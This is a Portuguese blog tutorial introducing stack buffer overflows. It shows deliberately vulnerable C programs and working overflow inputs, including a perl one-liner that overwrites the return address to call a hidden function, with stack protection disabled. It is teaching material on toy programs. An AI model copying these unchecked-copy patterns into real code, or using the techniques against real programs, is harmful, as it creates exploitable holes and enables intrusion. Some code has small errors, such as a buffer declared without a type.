quinta-feira, 20 de outubro de 2016

CyberSecurity 2 - Introdução a buffer overflows


/* Um código que funciona nem sempre é um bom código , essa é a essencia da falta de segurança hoje em dia ... */

Hello !!! sou eu de novo hahaha, bom eu não podia ficar mais um dia sem postar absolutamente coisa nenhuma hehe ... bom ... esse post não vai te deixar nenhum "expert" no assunto ... é apenas algumas idéias ... enfim... bora lá :)

PS : Os códigos descritos nesse post foram testados no sistema operacional linux, caso você utilize windows recomendo que faça os testes em uma VM ( virtual machine ) é necessario ter o gcc e objdump na sua maquina ...

Começando ... o'que é basicamente um buffer overflow ? em meias palavras é basicamente quando um espaço reservado na memoria excede o seu tamanho maximo ... esse transbordamento de dados pode subscrever a memoria , corromper dados proximos, travando/crashando a aplicação ou até mesmo tomando controle do programa vulneravel...

Como isso funciona ? bom ... esse tipo de vulnerabilidade ocorre quando o programador pega algum parametro vindo do usuário e o coloca dentro de um vetor, sem antes checar o tamanho do parametro...

Antes de continuarmos há uma coisas que quero ensinar a vocês ( é bom guardarem essa info com vocês , pode ser util quando forem programar )

Uma string geralmente , tem 1 caracter a mais doque parece ...

Por exemplo : ola

A palavra "ola" tem 3 letras , porem na verdade ela ocupa 4 posições na memoria , em um vetor tambem :)

Mas qual caracter é esse ? é o "\0" indica o final da string...
Vamos chama-lo de "byte nulo" ...

Então na verdade a palavra "ola" na memoria , fica representada da seguinte forma !

Exemplo : ola\0

Apesar desse "\0" conter "2 caracters" o '\' e o '\0' ele é visto como um caracter unico :)

Agora

Vamos a um exemplo , basico dos basicos :)

<--code
/*
 * Program name : bug.c
 */

#include <stdio.h>
#include <string.h>

void main(int argc,char *argv[]){

buffer [4];
strcpy(buffer,argv[1]);

}
-->code

Agora vamos atacar o programa , inserindo mais dados doque ele pode suportar...

$ gcc exploit.c -o exploit
$ ./exploit AAAAAAAAAAAAAAAAAAAAAAA
Falha de segmentação (imagem do núcleo gravada)
$

Você vai ter mais ou menos essa resposta ... isso é a indicação de que o overflow ocorreu :)

Com isso você você ja consegue travar a aplicação ( ja pensou você descobrir isso em um chat ou um game online ? seria massa não ? existem algumas )

Bom , você acha isso inutil ??? vamos a um exemplo doque isso pode fazer ... vamos "hackear" um programo alvo nosso , acessando uma area que nós não deveriamos ter acesso ...

Código exemplo abaixo :

<--code

/*
 * Program name : bug.c
 */

#include <stdio.h>
#include <string.h>

void main(int argc,char *argv[]){
char buffer[4];
int adm = 0;
strcpy(buffer,argv[1]);
printf("Voce esta logado como user!\n");

if( adm != 0 ){
printf("Voce esta logado como admin!\n");
}

}

-->code

Vamos compilar :)

$ gcc bug.c -o bug

Bom o'que precisamos ter em mente agora ... bem a mensagem "Voce esta logado como admin" normalmente nunca seria exibida, porque a condição if diz que somente se a variavel adm for diferente de 0, as instruções dentro do bloco if serão executadas !

Teoricamente isso seria impossivel de acontecer , mas vamos entrar no espirito da coisa e tentar "invadir" essa váriavel e subscrever o conteudo dentro dela.

Primeiramente vamos executa-la normalmente...

$ ./bug AAAA
Voce esta logado como user!
$

Ok , até aqui nada de errado ... vamos para a parte interessante agora!

$ ./bug AAAAAAAAAAAAAAAAAAAAAAAAAAA
Voce esta logado como user!
Voce esta logado como admin!
Falha de segmentação (imagem do núcleo gravada)
$

Perceberam que ele exibiu a mensagem "Voce esta logado como admin!" ?
Bom , se isso fosse um sistema de login o programa ja estaria completamente f0d1d0 ... por isso que vale lembrar , um código que funciona não é um bom código :)


O'que exatamente aconteceu ??? digamos que na memoria ram , cada coisa é separada , cada programo é executado no seu espaço de memoria ... isso tambem se aplica as váriaveis dos programas...

Bom, pense na memoria ram como um vetor... por exemplo...

int memoria_ram[10] = {1,2,3,4,5,6,7,8,9,10};

digamos que a memoria possa armazenar apenas 10 bytes , logo ela teria 10 posições ... a memoria pode ser vista assim , como um grande vetor :)

Quando você sobrepoe mais dados doque um vetor na memoria pode alocar o'que acontece ? bem esse dados não somem ! eles devem ir pra algum lugar ... bom eles vão !

Eles passam para diferentes posições na memoria :)
No nósso caso nossos "A" foram para a posição de memoria aonde estava o valor 0 da váriavel adm... logo o conteudo da variavel adm que era 0 passa a ser 0x41 que é o valor hexadecimal do nósso caracter "A" maiusculo :)

Interessante não ? bom ... os buffer overflows ( ou buffer overruns como queiram chamar ) são bem amplos e vão muito alem doque esse pequeno artigo fala ...

Bom , vamos a um outro exemplo... vamos executar uma função "oculta" no programa apartir de um overflow...

<--code
/*
 * Name Program : bug.c
 */

#include <stdio.h>

void funcaosecreta()
{
    printf("Parabens , voce me achou! \n");
}

void overflow()
{
    char buffer[20];

    printf("digite algo : ");
    scanf("%s", buffer);
    printf("voce digitou: %s\n", buffer);
}

int main(void)
{
    overflow();

    return 0;
}

-->code

Bom , primeiramente vamos compilar !
Vamos utilizar um parametro -fno-stack-protector tambem , para desativar algumas "proteções" da memoria...

$ gcc bug.c -o bug -fno-stack-protector
$ ./bug
digite algo : aaaaaaaaaaaaaaaaaaaaaaaaaa
voce digitou: aaaaaaaaaaaaaaaaaaaaaaaaaa
$

Bom , executou normalmente ... Primeiramente o'que temos que fazer pra executar a função que nós queremos que no caso é "funcaosecreta" , bem primeiramente precisamos pegar o endereço dela ... e montar uma expecie de "shellcode" rsrs ( não é um shellcode ) ...

Para isso vamos utilizar o objdump ...

Exemplo abaixo:

$ objdump -d bug

Eu vou colocar em print aqui o resultado disso , pois é enorme !






A parte que nós interessa é essa :

0804846b <funcaosecreta>:

Porque ? porque "0804846b" é o endereço da "função secreta ! :)

Temos que por isso em forma de shellcode ! de traz pra frente ( lembra ? ) por causa do esquema de LIFO da pilha ...

no caso fica ...

"\x6b\x84\x04\x08"

Bom , agora precisamos entender algo quando uma instrução ou chamada é executada , um registrador chamado eip guarda o endereço de retorno ... que é o endereço da proxima instrução a ser executada !

Temos tambem o registrador ebp que guarda o endereço do topo da pilha...

Quando chamamos a função "funcaosecreta" no nósso código , estamos passando o endereço dela para o eip e estamos passando o controle a ela, apartir dae serão executadas todas as intruções descritas na função "funcaosecreta" :)

O buffer nos reserva 28 bytes para o nósso vetor , apesar de termos pedido apenas 20 ... somando 28 posições ...

Os proximos 4 bytes são reservados ao ebp ... os proximos 4 bytes ao nósso maldito eip hehehe

Então basta enchurrar o vetor de 20 bytes com 32 bytes ( 28+4 = 32 assim subscrevemos ebp e colocamos os proximos 4 bytes em eip que sera o endereço da função que ele ira chamar )

Vamos testar isso ! use a linha de comando abaixo !


$ perl -e 'print "a"x32 . "\x6b\x84\x04\x08"' | ./bug
digite algo : voce digitou: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaak�
Parabens , voce me achou!
Falha de segmentação (imagem do núcleo gravada)
$

Haha , conseguimos :) exploitamos o programa e jogamos o controle dele para a função "funcaosecreta" ... agora você continua achando essa vulnerabilidade inutil ? bom poderiamos injetar um shellcode na memoria e executa-lo , criar uma conexão reversa no programa vulneravel e hackear a rede ... mas enfim...

Vou deixar isso pra outro post , esse foi apenas para demonstrar algumas idéias...

Achou algo incorreto ? Nós informe Aqui!

Espero que tenham curtido o post :)

1 comentários:

Postar um comentário

Tecnologia do Blogger.

Popular Posts